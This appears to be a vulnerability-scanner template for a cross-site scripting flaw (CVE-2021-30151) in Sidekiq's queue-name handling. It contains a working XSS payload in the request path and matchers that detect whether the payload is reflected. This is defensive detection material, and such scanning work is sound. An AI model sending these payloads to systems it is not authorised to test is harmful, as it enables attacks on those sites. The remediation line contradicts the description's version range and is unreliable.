id: CVE-2021-30151 info: name: Sidekiq <=6.2.0 - Cross-Site Scripting author: DhiyaneshDk severity: medium description: Sidekiq through 5.1.3 and 6.x through 6.2.0 contains a cross-site scripting vulnerability via the queue name of the live-poll feature when Internet Explorer is used. remediation: | Upgrade to Sidekiq version 6.2.0 or later to mitigate this vulnerability. reference: - https://github.com/mperham/sidekiq/issues/4852 - https://lists.debian.org/debian-lts-announce/2022/03/msg00015.html - https://nvd.nist.gov/vuln/detail/CVE-2021-30151 - https://lists.debian.org/debian-lts-announce/2023/03/msg00011.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-30151 cwe-id: CWE-79 epss-score: 0.00435 epss-percentile: 0.71811 cpe: cpe:2.3:a:contribsys:sidekiq:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: contribsys product: sidekiq tags: cve,cve2021,xss,sidekiq http: - method: GET path: - '{{BaseURL}}/sidekiq/queues/"onmouseover="alert(document.domain)"' matchers-condition: and matchers: - type: word part: body words: - "onmouseover=\"alert(document.domain)" - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 490a0046304402205afa89d3385d17a9196a8a8b89f5f2e32b48f98de0df51fad12872228d5a143a02200f6e5d136c0e31770421d0814a0deace7da2d5de446a7e1db537a7e8765c92a1:922c64590222798bb761d5b6d8e72950